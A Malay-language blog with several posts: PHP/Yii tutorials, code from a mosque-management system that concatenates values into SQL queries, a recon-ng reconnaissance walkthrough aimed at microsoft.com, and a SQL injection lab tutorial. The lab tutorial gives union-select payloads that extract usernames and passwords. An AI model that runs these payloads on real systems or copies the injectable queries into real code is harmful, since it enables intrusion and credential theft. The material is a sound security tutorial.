Salam semua, hari ni dah 13 Ramadhan dah, badan pun dah mula letih, perut rasa lapar, kepala rasa berat jer, ni semua lah antara ujian kecil di bulan Ramadhan. Ada yang tanya apa yang special sangat bulan Ramadhan ni, pada aku, bulan ni dimuliakan kerana diturunkan al – Quran padanya. Ok la, cukuplah tu, citer panjang-panjang pun bab ni aku bukannya ustaz. Hehehe

(Masa yang diwajibkan kamu berpuasa itu ialah) bulan Ramadan yang padanya diturunkan Al-Quran, menjadi petunjuk bagi sekalian manusia, dan menjadi keterangan-keterangan yang menjelaskan petunjuk dan (menjelaskan) perbezaan antara yang benar dengan yang salah. Oleh itu, sesiapa dari antara kamu yang menyaksikan anak bulan Ramadan (atau mengetahuinya), maka hendaklah ia berpuasa bulan itu; dan sesiapa yang sakit atau dalam musafir maka (bolehlah ia berbuka, Kemudian wajiblah ia berpuasa) sebanyak hari yang ditinggalkan itu pada hari-hari yang lain. (Dengan ketetapan yang demikian itu) Allah menghendaki kamu beroleh kemudahan, dan Ia tidak menghendaki kamu menanggung kesukaran. Dan juga supaya kamu cukupkan bilangan puasa (sebulan Ramadan), dan supaya kamu membesarkan Allah kerana mendapat petunjukNya, dan supaya kamu bersyukur.

al baqarah : 185

Entri kali ni, aku nak kongsikan macam mana kita nak buat autocomplete dropdown list. Kita akan upgrade sistem emihrab ni. Biarlah orang tak nak pakai atau tak nak appreciate sistem ni, lantak hang la wei! Hehehe.
At least aku dapat jugak brush up skill programming dan belajar benda-benda baru ๐Ÿ™‚

Dalam versi yang sebelum ini, kita menggunakan dropdown list yang biasa. Valuenya di populate dari satu table tertentu. Kalau kita tengok gambar dibawah, bila kita pilih nama masjid (dropdown list), dia akan menyenaraikan semua nama masjid yang ada dalam table senarai_masjid. Ini sedikit sebanyak menyukarkan pengguna sistem, sebab perlu scroll satu satu untuk mencari nama masjid yang berkaitan.

autocomplete1

Berikut adalah code untuk tujuan paparan dropdown list yang biasa. (Seperti dalam gambar di atas)

<table>
<tr onmouseover="this.style.backgroundColor='#ffff66';" onmouseout=
"this.style.backgroundColor='#d4e3e5';">
<td>
<?php echo $form->labelEx($model,'nama_masjid'); ?>
</td>

<td>
<?php echo $form->dropDownList($model,'nama_masjid', CHtml::listData(SenaraiMasjid::model()->findAll(), 'nama_masjid','nama_masjid'), array(
'empty'=>'PILIH NAMA MASJID',
));
?>
</td>
</tr>
</table>

Sekarang ni, kita buang code dropdown list yang kat atas tu. Kita akan gunakan CJuiAutoComplete. Buat perubahan pada fail _form.php. Berikut adalah code bagi bahagian view.

<table>
<tr onmouseover="this.style.backgroundColor='#ffff66';" onmouseout=
"this.style.backgroundColor='#d4e3e5';">
<td><?php echo $form->labelEx($model,'nama_masjid'); ?></td>
<td>
<?php
$this->widget('zii.widgets.jui.CJuiAutoComplete',
array(
'name'=>'namamasjid',
'model'=>$model,
'attribute'=>'nama_masjid',
'source'=>$this->createUrl('ajk/autocomplete'),

'options'=>array(
'showAnim'=>'fold',
),

'htmlOptions'=>array(
'style'=>'width: 400px;',
),
));
?>
</td>
</tr>
</table>

Pada bahagian controller pulak, kita taipkan code seperti dibawah. Untuk contoh ni aku gunakan ajk controller. Dan ingat kita perlu declarekan nama function yang kita buat ni dalam function access rule.

public function actionAutocomplete() {
$res =array();

if (isset($_GET['term'])) {
$qtxt ="SELECT nama_masjid FROM senarai_masjid WHERE nama_masjid LIKE :nama_masjid";
$command =Yii::app()->db->createCommand($qtxt);
$command->bindValue(":nama_masjid", '%'.$_GET['term'].'%', PDO::PARAM_STR);
$res =$command->queryColumn();
}

echo CJSON::encode($res);
Yii::app()->end();
}

Dan hasilnya adalah seperti dalam gambar dibawah. Jadi pengguna tak perlu nak scroll satu-satu nama masjid seperti sebelum ni, hanya taipkan nama masjid (keyword), dan sistem akan paparkan nama masjid yang berkaitan.

autocomplete2

autocomplete3

System Developer berhempas pulas memikirkan dan upgrade sistem supaya memudahkan pengguna hingga ke peringkat maksimum, tapi selalunya pengguna sistem macam hampeh, bukannya nak guna sistem. Bila sistem tak der bukan main suh buat. Ini lah lumrah manusia. Biarkan.. Biarkan.. Biarkan..

Happy h4ckin dari pokcik gh1mau ๐Ÿ™‚

dilbert-strip

Advertisements

Sistem emihrab

Posted: 17 July, 2013 in php, programming, umum

Salam semua, hari ni dah 8 Ramadhan dah, cepatnya masa berlalu. kata orang-orang alim, ni tanda-tanda dunia hampir nak kiamat kubro. Kiamat kecil hari-hari orang alami, jadi sewajarnya kita kena la selalu ingat dan kenang kiamat kecil kita ๐Ÿ™‚

Ok lah, entri kali ni tak der nak cerita banyak, aku di minta untuk menyiapkan sistem emihrab, sistem ni adalah versi baru bagi sistem emasjid. Dan aku menyiapkan sistem ni dalam masa 3 hari. Pergh, berasap kepalo pakcik nak menyiapkan eh. Sobab kononnya nak present dalam meeting. Bila sampai waktu dan ketikanya, pengerusi meeting kata tak yah, dia suh ada jabatan tu upah vendor buat sistem ni, katanya jabatan aku ni tak mampu dan tak der kemahiran nak buat. Dan yang sepatutnya defend pun duk diam dan akur sahaja. Huhuhu.. lantaklah, ikutkan memang sakit ati, tapi nak buat macam Saya Yang Menurut Perintah. Damn! Hehehe

Ok, berikut adalah paparan-paparan dalam sistem emihrab ni. Korang leh akses di alamat http://emihrab.ns.gov.my. Rancangan asalnya sistem ni nak ditambah dengan modul-modul lain, tapi skang ni aku dah malas. Pegi la upah vendor suh buat. Hahaha. Ada mana-mana agensi nak pakai sistem ni leh deal dengan aku ๐Ÿ™‚

By the way, aku bangunkan sistem ni dengan menggunakan Yii Framework. Kalau ada yang berminat nak blajar menggunakan Yii ni boleh lah panggil aku. Insya Allah ๐Ÿ™‚

mihrab1

mihrab2

mihrab3

mihrab4

mihrab5

mihrab6

Ni code snip macam mana aku grab data menggunakan CSqlDataProvider dari model lain.

$data=SenaraiMasjid::model()->find('id=:id', array(':id'=>$model->id));
$masjid = $data->nama_masjid;

$count=Yii::app()->db->createCommand("SELECT COUNT(*) FROM ajk WHERE nama_masjid ='". $masjid. "'")->queryScalar();
$sqlajk="SELECT * FROM ajk WHERE nama_masjid ='". $masjid. "' AND jawatan != 'IMAM 1' AND jawatan != 'IMAM 2' AND jawatan != 'IMAM 3' AND jawatan != 'BILAL' and jawatan != 'SIAK' and jawatan != 'PEMBANTU AM WANITA'";
$dataProviderAJK=new CSqlDataProvider($sqlajk, array(
'totalItemCount'=>$count,
'keyField'=>'id',
'sort'=>array(
'attributes'=>array(
'id','nama',
),
),
'pagination'=>array(
'pageSize'=>10,
),
));

<!-- table utk maklumat ajk masjid -->
<table border="1">
<tr>
<th colspan="5"><div align="center">Maklumat Ahli Jawatankuasa Masjid</div></th>
</tr>
<tr>
<th>Nama Ahli Jawatankuasa</th>
<th>No Kad Pengenalan</th>
<th>Jawatan</th>
<th>No Telefon</th>

</tr>
<?php $c = false; ?>
<?php foreach($dataProviderAJK->data as $maklumat):?>
<?php echo '<tr style="background:',(($c=!$c)? '#eee' : '#ddd' ),'">'; ?>
<?php echo "<td>$maklumat[nama]</td>"; ?>

<?php echo "<td>$maklumat[no_kp]</td>"; ?>

<?php echo "<td>$maklumat[jawatan]</td>"; ?>

<?php echo "<td>$maklumat[no_tel]</td>"; ?>

<?php echo "</tr>"; ?>
<?php endforeach?>

</table>
<!-- table utk maklumat ajk tamat -->

Happy h4ckin dari pokcik gh1mau ๐Ÿ™‚

190491.strip

Salam semua, posting kali ni aku nak kongsikan dengan korang satu tool : recon-ng. Tool ini amat berguna semasa fasa reconnaissance dalam aktiviti Penetration Testing. Bila kita rujuk rajah dibawah (metodologi proses penetration testing), kita dapat lihat fasa reconnaissance adalah fasa yang pertama.

Metodologi Proses Penetration Testing

Metodologi Proses Penetration Testing

 

Fasa ini bertujuan untuk mendapatkan maklumat awal berkenaan dengan target kita.

Before hacking your Online business or corporate infrastructure, hackers first perform routine and detailed reconnaissance. Hackers must gather as much information about your business and networks as possible. Anything they discover about their target (you) can be valuable during their attack phases. Strategies for hacking rely on a foundation of knowledge and understanding, arising initially from whatever the hacker can learn about you and your business. Methods of reconnaissance include Dumpster Diving, Social Engineering, Google Searching & Google Hacking, and work their way up to more insidious methods such as infiltrating your employees environments from coffee shops to simply walking in and setting up in a cubicle and asking a lot of questions. Whatever methods are used to perform reconnaissance, hackers will usually collect a large amount of information varying from trivial to sensitive, all of which may be useful during their attacks.

Dengan adanya tool recon-ng ini, ianya merupakan satu framework untuk tujuan recon, kita dapat melaksanakan aktiviti ini dengan lebih tersusun dan effective.

Apa itu recon-ng?

Recon-ng is a full-featured Web Reconnaissance framework written in Python. Complete with independent modules, database interaction, built in convenience functions, interactive help, and command completion, Recon-ng provides a powerful environment in which open source web-based reconnaissance can be conducted quickly and thoroughly.

Recon-ng has a look and feel similar to the Metasploit Framework, reducing the learning curve for leveraging the framework. However, it is quite different. Recon-ng is not intended to compete with existing frameworks, as it is designed exclusively for web-based open source reconnaissance. If you want to exploit, use the Metasploit Framework. If you want to Social Engineer, us the Social Engineer Toolkit. If you want to conduct reconnaissance, use Recon-ng! See the Usage Guide for more information.

Recon-ng is a completely modular framework and makes it easy for even the newest of Python developers to contribute. Each module is a subclass of the “module” class. The “module” class is a customized “cmd” interpreter equipped with built-in functionality that provides simple interfaces to common tasks such as standardizing output, interacting with the database, making web requests, and managing API keys. Therefore, all the hard work has been done. Building modules is simple and takes little more than a few minutes.

Baiklah, sekarang ni, kita tengok bagaimana nak gunakan tool ni. Pertama sekali korang perlu download source, gunakan command dibawah untuk tujuan download dan runkan tool ini.

git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
cd recon-ng
./recon-ng.py

recon_1

Tools ni ala-ala metasploit framework, terdapat beberapa module yang boleh kita gunakan untuk tujuan recon. Untuk tujuan posting ni, kita akan setkan target kita domain microsoft.com. Runkan command berikut untuk setkan maklumat berkaitan

set company "Microsoft Corporation - gh1mau"
set domain "microsoft.com"

Kemudian kita boleh mula menggunakan module yang berkaitan. Sebagai contoh, lihat command dibawah:

use recon/contacts/gather/http/jigsaw
show options
run

recon_2

Gunakan command berikut untuk melihat data yang telah disimpan.

back
show schema
query SELECT * FROM contacts

Kita juga boleh menggunakan report module untuk tujuan reporting. Gunakan command seperti dibawah :

use reporting/html_report
show options
set filename ./report.html
run

recon_3

Mari kita cuba module yang lain pula. Gunakan command dibawah sebagai contoh :

use recon/hosts/gather/http/web/google_site
show options
set domain microsoft.com
run
back
query select * from hosts

Untuk memudahkan proses menggunakan tools ini, kita boleh buat satu script. Masukkan module yang berkaitan dalam script ni, korang kena explore dulu la module-module yang ada. Save kan script ni dengan nama recon.rc

# Skrip bermula
set workspace gh1mau_1
set company "Nama Target Kita"
set domain domain_target_kita.com
set user-agent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17"
use recon/contacts/gather/http/api/whois_pocs
run
back
use recon/hosts/enum/http/api/whois_lookup
run
back
use recon/contacts/gather/http/web/jigsaw
run
back
use recon/contacts/gather/http/web/jigsaw
run
back
use recon/hosts/gather/http/web/bing_site
run
back
use recon/hosts/gather/http/web/google_site
run
back
use recon/hosts/enum/http/web/netcraft_history
run
back
use recon/hosts/gather/http/web/netcraft
run
back
use recon/hosts/enum/dns/resolve
run
back
use recon/hosts/enum/http/web/open_resolvers
run
back
use recon/hosts/geo/http/api/hostip
run
back
use recon/hosts/enum/http/web/urlvoid
run
back
use discovery/info_disclosure/dns/cache_snoop
run
back
use discovery/info_disclosure/http/backup_finder
run
back
use discovery/info_disclosure/http/google_ids
run
back
use discovery/info_disclosure/http/interesting_files
run
back
# janakan laporan
use reporting/html_report
set filename ./workspaces/gh1mau_1/laporan.html
run
back

Untuk runkan script ni, gunakan command dibawah:

./recon-ng -r recon.rc

recon_4

Dan satu lagi function yang berguna dalam framework ini adalah kemudahan untuk carian. Korang leh gunakan command seperti dibawah untuk menggunakan search function ini.

search <nama_module>

Ok lah yer, stakat ni dulu. Kalau ada yang tak paham atau ada teknik lain, bolehlah kongsi kat ruangan komen.

Happy h4ckin dari pokcik gh1mau ๐Ÿ™‚

189411.strip

Salam semua. Dah masuk bulan Julai dah, cepatnya masa berlalu. Minggu depan dah nak puasa. Hehehe. Ok la, Entri kali ni, kita akan bincangkan simple sql injection integer based. Bila kita sebut pasal sql injection attack, apa yang attackerย  buat adalah, mereka akan cuba memanipulasi string sql ke dalam aplikasi samaada secara GET atau POST method. Bila programmer gagal membuat sebarang input cleaning atau input filtering, berkemungkinan aplikasi yang dibangunkan mempunyai kelemahan-kelemahan yang boleh diexploit oleh hackers.

Mari kita lihat contoh code dibawah, kita dapati, code ini tidak membuat sebarang input filtering. Parameter id diambil terus dari url menggunakan GET method. Dan perkara ini membolehkan sql injection dilakukan.

<?php
require_once(dirname(dirname(__FILE__)) . '\includes\MySQLHandler.php');
$id=$_GET['id'];
if(isset($_GET['id'])) {
$sql = "SELECT * FROM users WHERE idusers=$id LIMIT 1";
$result=mysql_query($sql);
} else {
header("Location: index.php?id=0");
exit;
}
?>

Baiklah berikut merupakan rajah konsep dan langkah yang biasanya dilaksanakan oleh hackers untuk tujuan menjalankan SQL Injection Attack.

sql_injection_konsep

Konsep dan langkah SQL Injection Attack

Hackers akan mencari injection point. Biasanya parameter yang pass value menjadi target. Bagi contoh dibawah, parameter id adalah injection point kita.

http://127.0.0.1/bricks/content-1/index.php?id=0'

 

Dan error dibawah biasanya menunjukkan aplikasi berkenaan mempunyai kelemahan terhadap SQL Injection attack.

Database query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1

Seterusnya hacker akan dapatkan bilangan column bagi database semasa, bilangan column ini penting untuk melaksanakan union select. Gunakan formula order by 1+n sehingga page menghasilkanย  error.

The UNION operator is used to combine the result-set of two or more SELECT statements.

Notice that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. Also, the columns in each SELECT statement must be in the same order.

http://127.0.0.1/bricks/content-1/index.php?id=0+order+by+1+n

 

Sekiranya kita dapat mengagak nama table, kita boleh gunakan query dibawah untuk terus mendapatkan bilangan column semasa.

http://127.0.0.1/bricks/content-1/index.php?id=-1+and+(select+*+from+users)=1
Database query failed: Operand should contain 8 column(s)

 

Kemudian, hackers akan menjalankan command union select, untuk memaparkan maklumat yang berkaitan.

http://127.0.0.1/bricks/content-1/index.php?id=-1+union+select+1,2,3,4,5,6,7,8
http://127.0.0.1/bricks/content-1/index.php?id=-1+union+select+version(),user(),database(),4,5,6,7,8

sql1

Kita boleh dapatkan senarai nama table bagi database bricks dengan menggunakan command dibawah:

http://127.0.0.1/bricks/content-1/index.php?id=-1+union+select+
group_concat(table_name),2,3,4,5,6,7,8+
from+information_schema.tables+
where+table_schema='bricks'

 

Kemudian kita dapatkan senarai column bagi table users dengan command dibawah:

http://127.0.0.1/bricks/content-1/index.php?id=-1+union+select+
group_concat(column_name),2,3,4,5,6,7,8+
from+information_schema.columns+
where+table_schema='bricks'+and+table_name='users'

sql2

Setelah kita dapat nama table dan nama column, kita boleh mula extract maklumat dengan menggunakan command dibawah:

http://127.0.0.1/bricks/content-1/index.php?id=-1+union+select+
group_concat(name,0x3a,password),2,3,4,5,6,7,8+
from+users

sql3

Hehehe. Itu sahaja langkah-langkah untuk kita buat sql injection. Mudahkan? Sekarang ni, aku kongsikan satu tool jsql-injection-v0.3. Ini adalah SQL Injection GUI tool. Masukkan saja url dan tekan start. Dia akan buat proses auto inject. Kita tinggal dapatkan result sahaja.

sql4

Happy h4ckin dari pokcik gh1mau ๐Ÿ™‚

184103.strip.sunday